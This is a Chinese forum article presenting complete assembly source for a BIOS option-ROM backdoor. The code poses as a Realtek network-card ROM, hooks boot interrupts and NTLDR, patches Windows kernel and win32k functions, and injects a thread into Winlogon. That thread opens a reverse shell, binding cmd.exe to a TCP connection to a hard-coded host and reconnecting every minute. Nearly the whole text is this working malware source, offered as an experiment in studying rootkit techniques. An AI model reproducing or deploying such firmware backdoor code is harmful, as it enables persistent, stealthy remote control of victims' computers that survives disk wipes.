BIOS中隐藏Telnet后门

来源:安全焦点
作者:成松林

[项目简述]
该项目仅为实验性项目,目的是学习国外技术。该项目主要目的是想隐藏一个Telnet后门
在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连
接到指定的计算机接受CMD控制。

[关于作者]
姓名:成松林 QQ:179641795 Email:cheng_5103@126.com 本人对计算机的诸多技术都很
有兴趣,常喜欢学习国外的开源项目,很佩服国外的计算机技术及知识。本人学历:中专,专
业:计算机,年龄:25,工作:中专学业完成后留校工作。废话:本人家景很穷,所以大学都
未上成就工作,希望有志人士能教小弟赚钱。我文才很差,故文章中有语法及表达问题请大家
多多谅解。

[项目涉及的相关知识及技术标题]
1、实验环境配置问题。
2、刷新BIOS技术问题。
3、代码植入BIOS问题。
4、源代码的相关问题:
A、如何编写BIOS模块如:PCI、ISA。
B、实模式关于HOOK磁盘中断的问题。
C、磁盘中断中选择再次HOOK的问题。
D、NT保护模式下设置物理地址映射。
E、NT保护模式下线性地址寻址问题。
F、HOOK KeAddSystemServiceTable。
G、HOOK NtUserRegisterClassExWOW。
H、HOOK Winlogon SASWndProc过程。
I、在SASWndProc收到WM_CREATE消息建立线程运行Telnet Shell Code。
5、源代码的其他技术:
A、IVThook InLineHook SSDT Hook
B、SEH PE PEB TIB
C、Hash SharedUserData CheckSum
6、......

文章内容会在朋友的网站(51cto)上发布,文章还未整理好,相关的工具及相关的源代码会在以后整理发布.

以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!

调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装

win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.

.586p ;编译工具:ML /AT *.asm ML(masm)版本6.11,BIOS中隐藏Telnet后门.
.Model Tiny ;作者:成松林,QQ:179641795,Emil:cheng_5103@126.com.实现源代码.

  1. ;*****************************************************************************************************************************************ROM_IMAGE_SIZE equ 4 ;整个模块大小单位KB,固定大小4KB.  
  2. CSL_KERNEL_DEST equ 0FFDF0800h ;SharedUserData数据结构线性地址.  
  3. CSL_USER_backdoor equ 07FFE0800h ;SharedUserData数据结构线性地址.  
  4. ;*****************************************************************************************************************************************RealCode segment use16   
  5. Code16Start:  
  6. ;***************************************************************************************************************************************** org 00h ;####注意:置代码开始地址以便于确定定置.####,****设置开始偏移:000h****  
  7. dw 0AA55h ;####注意:ROM头格式标识可以生气独立ROM.####,****标识开始偏移:000h****  
  8. db ROM_IMAGE_SIZE*2 ;####注意:ROM长度(单位:512B,块)最小8块.####,****长度开始偏移:002h****  
  9. jmp MyROMCodeStart ;####注意:修改ROM模拟跳转指令到这里执行####,****指令开始偏移:003h****  
  10. org 06h ;####注意:编译器根据偏移长度选择JMP命令####,****JMP[rel16]长:003h****  
  11. ReturnOldROM: ;####注意:把数据放在头部以便于确定位置.####,****标识开始偏移:006h****  
  12. db 0e9h,0,0 ;####注意:执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:007h****  
  13. db 'CHKSUM=',0 ;####注意:填写我们修改后的ROM数据检验和####,****数据偏移地址:010h****   
  14. ;***************************************************************************************************************************************** org 18h ;编译成支持PCI设备的模块:PCI ROM固定大小4KB,其他参看"PCI 2.2规范"教程  
  15. dd 34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0; 硬件realtek PCI8139网卡  
  16. ;*****************************************************************************************************************************************MyROMCodeStart:  
  17. pushf  
  18. pushad  
  19. push es  
  20. push ds  
  21.  
  22. sti ;打开中断,以便接收键盘输入.  
  23. mov cx,0ffffh ;等待,约为两二秒的按键消息.  
  24. call WaitPressScrollKey  
  25. .if !CARRY? ;若按下Scroll Lock键,不运行我们的程序.  
  26. ;***************************************************************************************************************************************** xor ax,ax  
  27. mov es,ax  
  28. mov eax,es:[19h*4]  
  29. mov es:[84h*4],eax ;借用中断向量84H,保存中断向量19H.  
  30.  
  31. mov bx,es:[413h] ;40:13,BIOS数据区保存常规的内存大小,单位:KBs.  
  32. and bl,NOT 3 ;注意:要求分配的物理内存地址,以页作为基地址 .  
  33. sub bx,4   
  34. mov es:[413h],bx   
  35. shl bx,(10-4) ;bx *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)  
  36. mov es,bx   
  37. xor di,di ;es:di -> 分配的实模式高端内存前半部分开始处.  
  38.  
  39. push cs  
  40. pop ds  
  41. call GetCurrentAddr ;offset Code16End = offset Code32Start  
  42. GetCurrentAddr:  
  43. pop si ;si->GetCurrentAddr在内存的地址  
  44. mov dx,si  
  45.  
  46. add si,Code16End - GetCurrentAddr ;ds:si->Code16End保护模式代码段内存的地址.  
  47. cld  
  48. mov cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4 ;拷贝保护模式代码数据到分配内存的前半部分.  
  49. rep movsd  
  50.  
  51. add bx,100h   
  52. mov es,bx   
  53. xor di,di ;es:0->分配的实模式高端内存后半部分开始处.  
  54. mov si,dx  
  55. sub si,GetCurrentAddr - Code16Start ;ds:si->Code16Start实模式代码的内存的地址.  
  56. mov cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4 ;拷贝 实模式代码数据到分配内存的后半部分.  
  57. rep movsd  
  58.  
  59. xor bx,bx  
  60. mov ds,bx  
  61. add dx,NewINT19H - GetCurrentAddr ;dx->NewINT19H内存的地址  
  62. mov ds:[19h*4],dx  
  63. mov ds:[(19h*4) + 2],es ;设置成我们的INT19H服务代码  
  64. ;***************************************************************************************************************************************** .endif  
  65. pop ds  
  66. pop es  
  67. popad  
  68. popf  
  69. ;jmp ReturnOldROM ;跳转到原来的ROM代码的跳转处执行   
  70. retf  
  71. ;*****************************************************************************************************************************************WaitPressScrollKey: ;函数入口:CX=350约为10ms, 函数延时: 33(us)  
  72. push ax  
  73. .repeat  
  74. in al,60h  
  75. .if al == 46h ;Scroll Lock键扫描码:46h  
  76. stc  
  77. pop ax  
  78. ret  
  79. .endif  
  80. in al,61h   
  81. test al,010h   
  82. .continue .if !ZERO?  
  83. .repeat  
  84. in al,61h   
  85. test al,10h   
  86. .until !ZERO?  
  87. dec cx  
  88. .until cx == 0  
  89. clc  
  90. pop ax  
  91. ret  
  92. ;*****************************************************************************************************************************************NewINT19H:  
  93. pushf  
  94. ;cli  
  95. push eax  
  96. push es  
  97. ;jmp $ ;bochs调试1#.  
  98. xor ax,ax  
  99. mov es,ax   
  100. mov eax,es:[84h*4]  
  101. mov es:[19h*4],eax ;恢复中断向量19H值.  
  102. mov eax,es:[13h*4]  
  103. .if es:[85h*4] != eax  
  104. mov es:[85h*4],eax ;借用中断向量85H,保存中断向量13H.reserved for BASIC 82h~85h  
  105. mov word ptr es:[13h*4],NewINT13H ;设置NewINT13H在内存的地址.  
  106. mov es:[(13h*4) + 2],cs ;设置成我们的INT13H服务代码  
  107. .endif  
  108.  
  109. pop es  
  110. pop eax  
  111. popf ;恢复现场  
  112. int 84h ;调用旧的中断向量19H.  
  113. iret   
  114. ;*****************************************************************************************************************************************NewINT13H:  
  115. pushf ;有指令要改变标志寄存器值.  
  116. test ah, 0bdh ;是不是读数据到内存?ah=02,ah=42h.  
  117. .if !ZERO? ;ZF=0 
  118. popf  
  119. int 85h ;调用旧的中断向量13H.  
  120. iret  
  121. .endif  
  122. mov word ptr cs:[INT13LASTFUNCTION],ax  
  123. popf  
  124.  
  125.  
  126. int 85h ;调用旧的中断向量13H.  
  127. .if CARRY? ;CF=1,读失败退出服务  
  128. iret  
  129. .endif  
  130.  
  131. pushf  
  132. ;cli  
  133. push es  
  134. pushad  
  135. ;jmp $ ;bochs调试2#.可输入指令:u cs:ip + 2.观察INT13LASTFUNCTION的值.  
  136. mov ax,00h  
  137. INT13LASTFUNCTION EQU $-2  
  138. .if ah == 42h  
  139. lodsw  
  140. lodsw ;参看"扩展INT13H规范"ds:[si + 2]指传输块数.  
  141. les bx,[si] ;ds:[si + 04h]表示: 传输用的缓冲区内存地址.  
  142. .endif  
  143. .if al != 00h  
  144. xor cx,cx   
  145. mov cl,al  
  146. mov al,8Bh ;设置搜索标志的第一个字节.  
  147. shl cx,9 ;(CX * 200h) 搜索搜索计数.  
  148. mov di,bx ;8B F0 85 F6 74 21 80 3D:MOV ESI,EAX TEST ESI,ESI JZ $+23h CMP BYTE PTR [ofs32], imm8  
  149. cld ;NTLDR OSLoder模块里的6字节做为标志,进行HOOK.注意:选择HOOK位置很关键!  
  150. .while 1   
  151. repne scasb   
  152. .break .if !ZERO?  
  153. .continue .if dword ptr es:[di] != 74F685F0h  
  154. .continue .if word ptr es:[di+4] != 8021h  
  155. ;(es:di - 1)->我们想被HOOK的指令代码开始处.  
  156.  
  157. ;mov byte ptr es:[di-8],0ebh ;jmp $指令十六进制值0xebfe,设置在NTLDR暂停.  
  158. ;mov byte ptr es:[di-7],0feh   
  159. ;设置在NTLDR被HOOK指令处暂停:指令地址[0x31adf1]8:31adf1,注意:INT13H服务中读取NTLDR数据,  
  160. ;检测HOOK标识代码后,设置HOOK时用的指令及计算指令地址.因为NTLDR数据会被搬移到内存高端处.  
  161.  
  162. xor eax,eax   
  163. mov ax,cs  
  164. sub ax,100h ;ax->保护模式代码段  
  165. mov bx,ax  
  166. shl eax,4 ;eax->保护模式代码段在内存的物理地址.  
  167.  
  168. mov word ptr es:[di-1],15ffh ;##FFh/15h:使用CALL NEAR [OFS32]指令进行NTLDR HOOK##  
  169. mov es:[di+1],eax ;##设置CALL NEAR [OFS32]指令跳转地址,指令占6个字节##  
  170. ;通过上面获取NTLDR被HOOK处的运行地址:0x31adf1,用bochs调试暂停b 0x31adf1,观察我们的HOOK方式对否?.  
  171. mov es,bx  
  172. or es:[(KEASSTHOOK_PTE - Code32Start)],eax  
  173. add eax,4 ;eax->NTLDRCallAddr + 4,设置成我们的32位代码开始处执行.  
  174. mov dword ptr es:[0],eax ;es:[0]->保护模式段内变量NTLDRCallAddr所在内存虚拟地址.  
  175. ;jmp $ ;bochs调试3#可用xp es:di - 1观察HOOK情况及r显示寄存器.  
  176. .endw  
  177. .endif   
  178. popad  
  179. pop es  
  180. popf  
  181. iret  
  182. ;*****************************************************************************************************************************************Code16End: ;offset Code32Start = offset Code16End  
  183. RealCode ends  
  184. ;*****************************************************************************************************************************************ProtectCode segment byte use32 ;##########可工作在32位保护模式的代码#########  
  185. Code32Start: ;offset NTLDRCallAddr = offset Code32Start = offset Code16End  
  186. NTLDRCallAddr dd ?   
  187.  
  188. ;jmp $ ;bochs调试4#,参看在NewINT13H调试为什么没运行到这里?  
  189. pushfd ;espesp = esp + 04h  
  190. pushad ;espesp = esp + 20h  
  191. ;扫描获取模块表基址(_BlLoaderData) 参看"NTLDR分析及源代码".  
  192. mov edi,[esp + 20h + 04h] ;edi->OSLOADER内部.  
  193. and edi,NOT 000FFFFFh ;转换为镜像基地址 .  
  194. cld  
  195. mov al,0c7h ;C7h/46h/34h/00h/40h/00h/00h: MOV DWORD PTR [ESI+34h], 4000h  
  196. .while 1  
  197. scasb   
  198. .if ZERO?  
  199. .break .if dword ptr [edi] == 40003446h  
  200. .endif  
  201. .endw  
  202. mov al,0A1H ;A1h/xx/xx/xx/xx: MOV EAX, [xxxxxxxx]  
  203. .while 1  
  204. scasb  
  205. .break .if ZERO?  
  206. .endw  
  207. mov esi,[edi] ;esi->模块链表的开始基地址 .  
  208. mov esi,[esi] ;esi->模块链表中的第一个节点.  
  209. lodsd  
  210. mov ebx,[eax+18h] ;EBX = NTOSKRNL.EXE 在内存镜像的基地址.  
  211. ;注意:这里不能直接调用NTOSKRNL导出函数.  
  212. ;jmp $  
  213. ;***************************************************************************************************************************************** call PatchFunction_OverHookFunc ; 跳转到KeASSTHook后面执行,安装HOOK问题.  
  214.  
  215. KeASSTHook: ;HOOK KeAddSystemServiceTable 该函数.  
  216. ;lb 0x804c3bc6  
  217. sub dword ptr [esp],5 ;修正ret指令返回地址为被HOOK函数开始处.  
  218. pushad ;保护KeAddSystemServiceTable函数的现场.  
  219.  
  220. mov eax,00000001h ;KEASSTHOOK_PTE:保护模式代码的内存地址.  
  221. KEASSTHOOK_PTE EQU $-4   
  222. xor ecx,ecx  
  223. mov ch,((Code32End - Code32Start) + 100h) / 100h ;注意:代码小于2k,以便放在用户数据空间 .  
  224. mov edx,0C0000000h ;edx->4MB页目录表中的第一个二级页表项 .  
  225. xor esi,esi ;esi->我们的代码开始地址,以页为基地址 .  
  226. mov edi,CSL_KERNEL_DEST ;拷贝代码到SharedUserData数据空间中去 .  
  227. xchg [edx],eax ;映射我们代码的物理地址到线性地址00000.  
  228. wbinvd   
  229. rep movsb ;SharedUserData 空间参看其他相关的教程.  
  230. mov [edx],eax ;恢复线性地址00000000原来的映射物理页 .  
  231. wbinvd ;bochs调试6#:NTOSKRNL.EXE镜像基址 + 64.  
  232.  
  233. ;保存被HOOK代码数据在堆栈中,后面恢复用.  
  234. db 6Ah,0 ;6Ah/xx: PUSH simm8  
  235. KEASSTHOOK_DISPLACED4 EQU $-1  
  236. pushd 0  
  237. KEASSTHOOK_DISPLACED0 EQU $-4  
  238. ;bochs调试8#:lb 0xffdf08a4映射地址之后.  
  239. push (CSL_KERNEL_DEST + (MyKeAddSystemServiceTable - Code32Start))  
  240. ret ;跳转到MyKeAddSystemServiceTable函数处.  
  241. ;*****************************************************************************************************************************************PatchFunction_OverHookFunc: ;KeAddSystemServiceTable HOOK 问题处理.  
  242.  
  243. pop esi ;esi->KeASSTHook 函数在内存的实际地址 .  
  244. mov ecx,PatchFunction_OverHookFunc - KeASSTHook ;ecx = KeASSTHook 代码的长度,准备移动 .  
  245. ;处理代码中的寻址问题,将KeASSTHook代码.  
  246. lea edi,[ebx+40h] ;搬移到NTOSKRNL DOS MZ和PE头之间去执行.  
  247. ;jmp $ ;bochs调试5#,lb edi下一步运行在edi的值.  
  248. mov ebp, edi ;ebp用于后面HOOK时计算CALL rel 偏移用 .  
  249. rep movsb ;指令:edi->PatchFunction_OverHookFunc .  
  250.  
  251. mov edx,0A21CD4EEh ;"KeAddSystemServiceTable",0 ->HASH值.  
  252. call PEApiHashFind ;在NTOSKRNL模块中查找该函数以便HOOK用..  
  253. ;jmp $ ;bochs调试7#可以用到调试HOOK函数lb eax.  
  254. xchg esi,eax ;指令:esi->KeAddSystemServiceTable函数.  
  255.  
  256. sub edi,PatchFunction_OverHookFunc - KEASSTHOOK_DISPLACED0  
  257. movsd ;InLine HOOK方式:保存被HOOK的代码数据 .  
  258. sub edi,KEASSTHOOK_DISPLACED0 + 4 - KEASSTHOOK_DISPLACED4  
  259. movsb  
  260.  
  261. mov byte ptr [esi-5],0e8h ;E8h/xx/xx/xx/xx:CALL rel 相关地址指令.  
  262. sub ebp,esi ;调试例如:bochs调试5#edi lb 0x80400040.  
  263. mov dword ptr [esi-4],ebp ;call KeASSTHook,调试断点bochs调试5#处.  
  264.  
  265. popad  
  266. popfd  
  267. ;***************************************************************************************************************************************** ; 模拟InLineHOOK NTLDR中的指令,并返回去.  
  268. mov esi,eax  
  269. test eax,eax  
  270. jnz short @F  
  271. pushfd  
  272. add dword ptr [esp+4],21h  
  273. popfd  
  274. @@:  
  275. ret  
  276. ;*****************************************************************************************************************************************MyKeAddSystemServiceTable: ;bochs 调试8#:开始是多任务JMP $断点很慢.  
  277. ;首先关闭HOOK NTOSKRNL.EXE!KeAddSystemServiceTable   
  278. mov ebp,esp ;bochs调试8#:lb 0xffdf08a4 u /50 查看.  
  279. mov edi,[ebp+8+20h] ;edi->KeAddSystemServiceTable 函数入口.  
  280.  
  281. mov ecx,cr0  
  282. mov edx,ecx  
  283. and ecx,NOT 00010000h  
  284. mov cr0,ecx ;CR0.WP关闭页保护功能,以便对当前页修改.  
  285.  
  286. pop eax ;恢复KeAddSystemServiceTable HOOK 数据.  
  287. stosd  
  288. pop eax  
  289. stosb  
  290.  
  291. mov cr0,edx ;恢复 CR0.WP位到原来的状态 .  
  292. ;***************************************************************************************************************************************** mov esi,[ebp+8+28h] ;esi->_W32pServiceTable 服务描述表.  
  293. mov ecx,[ebp+8+30h] ;ecx: 服务的数目.  
  294. mov edi,[ebp+8+34h] ;edi:_W32pArgumentTable 服务参数表.  
  295. ;具体参看"SSDT HOOK教程" ,讲解如何HOOK.  
  296. .while ecx > 0 ;HOOK win32k!NtUserRegisterClassExWOW .  
  297. lodsd  
  298. .if byte ptr [edi] == 10h ;NtUserRegisterHotKey has 4 arguments .  
  299. mov edx,20h  
  300. .while edx > 0  
  301. .if byte ptr [eax] == 0f7h ;F7h/0: TEST mem, imm  
  302. mov ebx,4 ;search EAX+4..1 for bit mask of prohibited 'fsModifiers' flags  
  303. .while ebx > 0  
  304. .if dword ptr [eax + ebx] == 0FFFF7FF0h   
  305. inc edi  
  306. .while 1 ;NtUserRegisterClassExWOW will have 6 or 7 arguments   
  307. sub esi,4  
  308. dec edi   
  309. .if byte ptr [edi] >= 18h  
  310. mov eax,[esi]  
  311. ;bochs调试9#:JMP $指令断点,在多线程下很慢,尽量采用断点命令.lb 0xffdf08f7  
  312. mov edi,(CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW-Code32Start))  
  313. mov [edi + (NTURCEWOW_ORIGINAL - MyNtUserRegisterClassExWOW)],eax  
  314. mov [esi],edi  
  315. jmp @F  
  316. .endif  
  317. .endw  
  318. .endif  
  319. dec ebx  
  320. .endw  
  321. .endif  
  322. inc eax  
  323. dec edx  
  324. .endw  
  325. .endif  
  326. inc edi  
  327. dec ecx  
  328. .endw  
  329. @@:   
  330. ;***************************************************************************************************************************************** popad ;恢复KeAddSystemServiceTable函数的现场.  
  331. ret ;返回KeAddSystemServiceTable函数去执行.  
  332. ;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW: ;win32k!NtUserRegisterClassExWOW HOOK .  
  333.  
  334. pushad ;bochs调试10#:lb 0xffdf091e 调试9#获取.  
  335. ;使用bochs调试命令:x esp u /50 eip.  
  336. xor eax,eax   
  337.  
  338. push (CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW_SEH - Code32Start))  
  339. push dword ptr fs:[eax] ;在堆栈建立异常结构  
  340. mov dword ptr fs:[eax],esp ;安装我们的异常处理,####调试发现安装的异常处理有时不能工作.####  
  341.  
  342. ;通过传来的参数检查类名是L"SAS window class" ,替换其'lpfnWndProc'过程,具体参看"win32应用程序窗口消息原理".  
  343. mov ebp,ds:[7FFE02B4h] ;EBP = MmHighestUserAddress 
  344. mov edx,[esp + 8 + 28h] ;edx->窗口类名,格式PUNICODE_STRING.  
  345. .if edx <= ebp  
  346. .if word ptr [edx] == 16*2 ;size of L"SAS window class" 检查字符数对不?  
  347. mov esi,[edx + 4]   
  348. .if esi <= ebp  
  349. mov ecx,16 ;  
  350. mov edx,72ABEC2Dh ;72ABEC2Dh <-- HASH("SAS window class")  
  351. @@:  
  352. lodsw  
  353. sub edx,eax  
  354. ror edx,7  
  355. loop @B  
  356. .if edx == 0 ;替换窗口过程,前保存旧的过程在PEB中  
  357. mov esi,[esp + 8 +24h];esi->WNDCLASSEXW 类结构.  
  358. .if esi <= ebp  
  359. mov ecx,fs:[edx + 18h] ;ecx->用户TIB,线程信息块存放线程信息.  
  360. mov ecx,[ecx +30h] ;ecx-> PEB,进程环境块存放进程信息.  
  361. .if ecx <= ebp ;bochs调试11#:lb 0xffdf0971   
  362. mov eax,(CSL_USER_BACKDOOR + (MySASWndProc - Code32Start))  
  363. xchg dword ptr [esi + 8],eax ;替换'lpfnWndProc'过程,为我们的过程.  
  364. mov [ecx + 0eb0h],eax ;PEB->0EB0h = 旧的'lpfnWndProc' (保存旧的SASWndProc)  
  365. .endif  
  366. .endif  
  367. .endif  
  368. .endif  
  369. .endif  
  370. .endif  
  371.  
  372. ;*****************************************************************************************************************************************NTURCEWOW_Done: ;bochs调试11#:lb 0xffdf097f  
  373. xor eax,eax  
  374. pop dword ptr fs:[eax] ;移除堆栈的异常结构  
  375. pop ecx ;移除我们的异常处理  
  376. popad  
  377. pushd 0   
  378. NTURCEWOW_ORIGINAL EQU $-4  
  379. ret ;返回NtUserRegisterClassExWOWHook执行.  
  380. ;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW_SEH: ;注意:安装异常参看"win32应用程序设计".  
  381. xor eax,eax ;lb 0xffdf098c 调试异常:兼容不很稳定 .  
  382.  
  383. cdq ;CDQ常用于除法运算之前调整EDX值.作用只是把EDX的所有位都设成EAX最高位的值.  
  384. mov dl,0B8h  
  385. add edx,[esp + 0Ch] ;[esp + c]->Context.传过来的参数.  
  386. ;Context->Eip  
  387. mov dword ptr [edx],(CSL_KERNEL_DEST + (NTURCEWOW_Done - Code32Start))  
  388. ret  
  389. ;*****************************************************************************************************************************************MySASWndProc: ;bochs调试12#: 程序现已运行在应用层下.  
  390. ;lb 0x7ffe099c  
  391. push eax ;eax:旧的SASWndProc地址,返回方法:popad ret.  
  392. pushad  
  393.  
  394. xor eax,eax  
  395. mov edx,fs:[eax+30h] ;ptr to PEB  
  396.  
  397. mov eax,[edx+0EB0h] ;original SASWndProc address  
  398. mov [esp+20h],eax  
  399.  
  400. mov eax,[esp+2Ch] ;get 'uMsg' argument  
  401. .if eax == 0001h ;WM_CREATE  
  402. mov eax,[edx+0Ch] ;ptr to loader data  
  403. mov ecx,[eax+1Ch] ;ptr to first module in initialization-order list  
  404.  
  405. .repeat  
  406. mov ebx,[ecx+8] ;module image base  
  407. mov esi,[ecx+20h] ;ptr to module file name  
  408. mov ecx,[ecx] ;ptr to next module  
  409. lodsb  
  410. or al,20h  
  411. .until al == 'k' ;assume KERNEL32.DLL will be first module starting with 'K'  
  412. ;EBX = KERNEL32 镜像基址 bochs调试13#:lb 0x7ffe09cc  
  413. ;mov edi,(CSL_USER_BACKDOOR + (PEApiHashFind - Code32Start))  
  414. push ebx ;ebx:dwThreadID 变量使用堆栈.  
  415. push esp ;push addr dwThreadID  
  416. push 0  
  417. push 0  
  418. push (CSL_USER_BACKDOOR + (TelnetShell - Code32Start))  
  419. push 0  
  420. push 0  
  421. mov edx,3f1764e5h ;hash("CreateThread")=3f1764e5h  
  422. call PEApiHashFind ;call edi 是否需要这样调用?  
  423. call eax ;invoke CreateThread,NULL,0,offset TelnetShell,NULL,NULL,addr dwThreadID  
  424. pop ebx ;ebx:dwThreadID 去掉变量使用.  
  425. .endif  
  426. popad  
  427. ret ;invoke original SASWndProc  
  428. ;*****************************************************************************************************************************************TelnetShell: ; 可用于安装在win2k/xp/2003 反向连接Telnet后门应用程序.  
  429. xor eax,eax ;bochs调试14#:lb 0x7ffe09f0  
  430. mov edx,fs:[eax+30h] ;ptr to PEB  
  431. mov eax,[edx+0Ch] ;ptr to loader data  
  432. mov ecx,[eax+1Ch] ;ptr to first module in initialization-order list  
  433.  
  434. .repeat  
  435. mov ebx,[ecx+8] ;module image base  
  436. mov esi,[ecx+20h] ;ptr to module file name  
  437. mov ecx,[ecx] ;ptr to next module  
  438. lodsb  
  439. or al,20h  
  440. .until al == 'k' ;assume KERNEL32.DLL will be first module starting with 'K'  
  441. ;EBX = KERNEL32 image base  
  442. mov edi,ebx ;edi = kernel32基址 bochs调试15#:lb 0x7ffe0a05  
  443. TelnetShell_Strat:  
  444. mov ebp,esp ;bochs调试15#:lb 0x7ffe0a07  
  445.  
  446. push 00003233h  
  447. push 5f325357h ;esp->"WS2_32"  
  448. push esp  
  449. mov edx,2e864192h ;Hash("LoadLibraryA")=2e864192h  
  450. call PEApiHashFind  
  451. call eax ;LoadLibraryA(&WS2_32DLL)返回EAX=装载DLL基址.  
  452. mov ebx,eax ;ebx=WS2_32基址  
  453.  
  454. sub esp,1ech ;WSADATA struct  
  455. push esp ;esp->WSADATA struct  
  456. push 202h ;VersionRequested 0x202h  
  457. mov edx,0c05a351eh ;Hash("WSAStartup")=0c05a351eh  
  458. call PEApiHashFind  
  459. call eax ;WSAStartup(0x101, &WSADATA)  
  460.  
  461. push 0  
  462. push 0  
  463. push 0  
  464. push 6 ;IPPROTO_TCP=6 IPPROTO_UDP=17 
  465. push 1 ;SOCK_STREAM=1 SOCK_DGRAM=2 
  466. push 2 ;AF_INET=2 
  467. mov edx,0ef3c1916h ;Hash("WSASocketA")=0ef3c1916h  
  468. call PEApiHashFind  
  469. call eax ;s=WSASocketA(2,1,6,0,0,0)  
  470. mov esi,eax ;esi=socket s  
  471.  
  472. push 0265359dah ;sockaddr_in.sin_addr;192.168.100.111(06f64a8c0h)  
  473. push 0feff0002h ;0x02=AF_INET(sin_family);0xfffe=65534(sin_port)  
  474.  
  475. ;.repeat  
  476. mov edx,esp  
  477. push 10h ;sizeof(sockaddr_in)  
  478. push edx ;esp->sockaddr_in struct  
  479. push esi ;socket s  
  480. mov edx,5ddd8b01h ;Hash("connect")=5ddd8b01h  
  481. ;mov ebx,edi ;ebx=kernel32基址  
  482. call PEApiHashFind  
  483. call eax ;IPPROTO_TCP c=connect(s, &address, sizeof(address))  
  484. ;.until eax == 0 ;连接成功  
  485. mov ebx,edi ;ebx=kernel32基址  
  486. .if eax != 0  
  487. push 60000  
  488. mov edx,0cb9765ah ;Hash("Sleep")=0cb9765ah  
  489. call PEApiHashFind   
  490. call eax ;invoke Sleep,60000  
  491. mov esp,ebp  
  492. mov ebx,edi ;ebx=kernel32基址  
  493. jmp TelnetShell_Strat ;for another connection   
  494. ;ret  
  495. .endif  
  496.  
  497. push 646d63h ;winNT(cmd.exe)  
  498. mov edx,esp ;edx->file name  
  499.  
  500. push esi ;STARTUPINFOA.hStdError  
  501. push esi ;STARTUPINFOA.hStdOutput  
  502. push esi ;STARTUPINFOA.hStdInput  
  503.  
  504. push 0   
  505. push 0 ;wShowWindow cbReserved2   
  506. push 101h ;STARTUPINFO.dwFlags   
  507.  
  508. mov ecx,0fh  
  509. @@:   
  510. push 0 ;STARTUPINFOA.cb ~ STARTUPINFOA.dwFillAttribute  
  511. loop @B  
  512.  
  513. lea ecx,[esp+10h] ;ecx->STARTUPINFOA.cb  
  514. mov dword ptr [ecx],44h ;STARTUPINFOA.CB=44h(len STARTUPINFOA)  
  515.  
  516. push esp ;esp->PROCESS_INFORMATION STRUCT(all 0)  
  517. push ecx ;ecx->STARTUPINFOA STRUCT  
  518. push 0  
  519. push 0  
  520. push 0  
  521. push 1  
  522. push 0  
  523. push 0  
  524. push edx  
  525. push 0  
  526. mov edx,4b5d35e6h ;Hash("CreateProcessA")=4b5d35e6h  
  527. call PEApiHashFind  
  528. call eax ;CreateProcessA(0, Addr"cmd.exe",0,0,1,0,0,0,si, pi)  
  529.  
  530. pop ecx ;PROCESS_INFORMATION.hProcess  
  531.  
  532. push -1 ;time -1  
  533. push ecx  
  534. mov edx,8885abf2h ;Hash("WaitForSingleObject")=8885abf2h  
  535. call PEApiHashFind  
  536. call eax ;WaitForSingleObject(Handle, time)  
  537. mov esp,ebp  
  538. mov ebx,edi ;ebx=kernel32基址  
  539. jmp TelnetShell_Strat ;for another connection   
  540. ;ret  
  541. ;*****************************************************************************************************************************************PEApiHashFind: ; 入口:EBX=镜像基址 EDX=HASH32值 出口:eax=Api 地址,0表示未找到.  
  542. xor eax,eax   
  543. pushad  
  544. mov ecx,[ebx+3Ch] ;ecx = RVA of PE header  
  545. mov ebp,[ebx+ecx+78h] ;ebp = RVA of export directory  
  546. add ebp,ebx ;ebp -> ptr to export directory  
  547. mov ecx,[ebp+18h] ;ecx = IMAGE_EXPORT_DIRECTORY::NumberOfNames  
  548. mov edi,[ebp+20h] ;edi -> IMAGE_EXPORT_DIRECTORY::AddressOfNames  
  549. add edi,ebx  
  550. .while ecx > 0  
  551. dec ecx  
  552. mov esi,[edi+ecx*4]  
  553. add esi,ebx ;esi->API字符串在内存物理地址.  
  554.  
  555. push edx  
  556. .repeat  
  557. lodsb  
  558. sub edx,eax  
  559. ror edx,7  
  560. .until eax == 0 ;字符结束  
  561. .if edx == 0  
  562. pop edx  
  563. .break  
  564. .endif  
  565. pop edx  
  566. .endw  
  567. .if ecx > 0  
  568. mov edx,[ebp+024h]  
  569. add edx,ebx ;AddressofOrdinals  
  570. mov cx,[edx+ecx*2]  
  571. mov eax,[ebp+01ch]  
  572. add eax,ebx ;AddressOfFunctions   
  573. add ebx,[eax+ecx*4]  
  574. mov [esp+1Ch], ebx ;overwrite saved EAX with ptr to export  
  575. .endif  
  576. popad  
  577. ret  
  578. ;*****************************************************************************************************************************************Code32End: ; 感谢: eEye RootKit RomOS开源项目,国外的技术我们永远学不完.  
  579. ProtectCode ends ;有不正确的地方,成松林很高兴各位指出这样我才会学到更多知识.  
  580. end Code16Start  

 

Comments (1)

Gravatar
龙儿心2009-03-25, 11:20 PM

基本上都是汇编的知识啊~

Leave a comment

Your comment

Why not Login? Sign up now! »